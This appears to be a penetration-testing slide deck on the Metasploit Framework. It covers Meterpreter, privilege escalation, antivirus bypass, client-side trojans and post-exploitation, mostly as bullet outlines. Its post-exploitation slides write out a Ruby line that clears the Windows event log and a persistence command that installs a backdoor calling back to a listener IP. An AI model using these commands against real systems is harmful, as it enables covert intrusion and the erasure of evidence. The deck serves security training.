Exploitation with Metasploit

Nethemba s.r.o.

Norbert Szetei, CEH
norbert.szetei@nethemba.com

Prologue

- Metasploit Project
- Metasploit Framework – open-source platform for exploit developing, testing and using exploit code
- Metasploit Express, Metasploit Pro, NeXpose

What else?

- Passive or active exploits
- Linux / Mac OS X / Windows / IRIX / HPUX / Solaris
- IPS/IDS testing
- Different communication channels

History of Metasploit

- 1.0 (2003-2004) PERL, 15 exploits, project started by HD Moore
- 2.7 (2003-2006) PERL, more than 150 exploits
- 3.+ (2007-today) Ruby, 628 exploits
- Currently 18 active developers
- Code contribution from hundreds of people

Fundamental Parts

- Interfaces (Console, CLI, ...)
- Libraries (Rex, MSF Core, MSF Base)
- Plugins (db support, wmap, xmlrpc, ...)
- Tools (mostly external usage)
- Modules (Exploits, Auxiliaries, Payloads, Encoders, Nops)

Metasploit testing environment

- Virtual machines laboratory
- Metasploitable
- Remove your Windows updates
- Hacking the web browsers
- Become a hac.. penetration tester

Simple Usage

- exploits (check), auxiliaries
- payloads (singles, stagers, stages)
- portscan, **db_autopwn**
- generating payloads
- meterpreter, **vncinject (full control over user)**
- msfencode, msfpayload

Meterpreter

- Injection into DLL
- Reverse connections
- Core commands
- Stdapi commands
- Priv commands

Meterpreter - STDAPI

- File System commands
- Networking commands
- System commands
- User interface commands
- Keylogging

Meterpreter - Priv

- System Elevation:

  Named Pipe Impersonation

  Token Duplication

  KiTrap0D

- hashdump
- timestomp (MACE)

Meterpreter - Priv

- System Elevation:

  Named Pipe Impersonation

  Token Duplication

  KiTrap0D

- hashdump
- timestomp (MACE)

Can a firewall protect us?

- Attacks on layer 7
- Botnets
- Social Engineering + Phishing (SET)
- **PassiveX**
- IDS Detection -> SSL Encryption

Passive X

- Modifies registry on Windows to permit loading untrusted ActiveX
- Loads stage ActiveX control from MSF web server
- Loads stagers (Meterpreter, VNC) via HTTP tunnel
- Unfortunately it works in IE6 only

Reflective DLL Injection

- Loading of a library from memory into a host process
- Library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader
- Minimal interaction with the host system and process
- Difficult detection of the DLL

Integration with third party apps

- Nessus
- NeXpose
- (Ratproxy) WMAP Web Scanner
- (Aircrack) Karmetasploit

Exploit development

- pattern_create.rb, pattern_offset.rb
- porting exploits
- SEH exploitation, msfpescan
- msfelfscan, msfmachscan
- irb, framework for exploits development

Exploitation on the Client Side

- Binary Payloads
- Trojan Infection
- PDF
- Java Applet
- VBScript
- Antivirus bypass

msfencode

- msfpayload for raw payload generation
- Msfencode -x
  Specify an alternate win32 executable template
- Injection into an existing executable, the same functionality

Post Exploitation

- PSExec (windows/smb/psexec)
- Covering your tracks (event logs)

  log = client.sys.eventlog.open('system')
  log.clear

- Sniffing (meterpreter, auxiliaries)

Maintaining access

- Persistent Meterpreter Service

  run persistence -X -i 15 -p 3443 -r 192.168.64.3

- Meterpreter Backdoor Service

  metsvc -h

Epilogue

If you think technology can solve your security problems, then you don't understand the problems and you don't understand the technology. (Bruce Schneier)

References

- http://www.metasploit.com
- http://www.offensive-security.com/
- svn co https://www.metasploit.com/svn/framework3/trunk/

Any questions?

Thank you for listening

Norbert Szetei, CEH